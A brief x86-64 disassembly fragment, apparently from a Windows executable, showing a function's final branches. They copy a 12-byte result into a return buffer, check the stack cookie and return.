mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140056bf1
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x140056bcd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140056bf1
jmp 0x140056a7e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.140009640
add rsp, 0x1498
pop rdi
pop rsi
ret